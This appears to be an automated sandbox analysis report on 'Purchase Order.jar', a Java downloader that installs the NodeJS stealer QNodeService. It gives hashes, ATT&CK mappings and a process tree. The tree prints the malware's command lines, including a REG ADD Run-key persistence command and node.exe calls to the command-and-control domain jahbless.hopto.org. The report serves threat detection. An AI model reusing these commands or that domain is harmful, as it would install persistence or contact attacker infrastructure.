qnodeservice | b6ac632bb94c55ecc3aeb2b04c16c5fa3b50792a8379447cf9fcce12477791ba

General

Target

Purchase Order.jar
Size

176KB
MD5

1a15d0e4ad08675860fe1e7a9ad07cee
SHA1

30643b426d982fad93079edde3402e8e5e80bc3e
SHA256

b6ac632bb94c55ecc3aeb2b04c16c5fa3b50792a8379447cf9fcce12477791ba
SHA512

29e89a458abca9cc549f1dee8231c4ed5ae4085018c52c0d7274e0efd7f0c58f816b3bd0b74035ee99d2df7f83e7067b76603de8f6f5f747f6c561a2481dcdc9

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
976	node.exe
1164	node.exe
2132	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\6c4f85d6-efe6-41ce-9786-2fab839ee3fa = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad8c-162.dat	js
behavioral2/files/0x000100000001ad8c-165.dat	js
behavioral2/files/0x000100000001ad8c-169.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	wtfismyip.com
19	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
976	node.exe
976	node.exe
976	node.exe
976	node.exe
1164	node.exe
1164	node.exe
1164	node.exe
1164	node.exe
2132	node.exe
2132	node.exe
2132	node.exe
2132	node.exe
2132	node.exe
2132	node.exe
2132	node.exe
2132	node.exe
2132	node.exe
2132	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3104 wrote to memory of 2448	3104	java.exe	76
PID 3104 wrote to memory of 2448	3104	java.exe	76
PID 2448 wrote to memory of 976	2448	javaw.exe	78
PID 2448 wrote to memory of 976	2448	javaw.exe	78
PID 976 wrote to memory of 1164	976	node.exe	80
PID 976 wrote to memory of 1164	976	node.exe	80
PID 1164 wrote to memory of 2132	1164	node.exe	81
PID 1164 wrote to memory of 2132	1164	node.exe	81
PID 2132 wrote to memory of 884	2132	node.exe	83
PID 2132 wrote to memory of 884	2132	node.exe	83
PID 884 wrote to memory of 1860	884	cmd.exe	84
PID 884 wrote to memory of 1860	884	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Purchase Order.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\32abf24e.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_yCUzLg\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1164
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_yCUzLg\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2132
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6c4f85d6-efe6-41ce-9786-2fab839ee3fa" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:884
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6c4f85d6-efe6-41ce-9786-2fab839ee3fa" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/976-163-0x00000031FD5C0000-0x00000031FD5C1000-memory.dmp

Filesize
4KB

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memory/1164-166-0x000003FD2F500000-0x000003FD2F501000-memory.dmp

Filesize
4KB

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memory/2132-170-0x000003DCC2580000-0x000003DCC2581000-memory.dmp

Filesize
4KB

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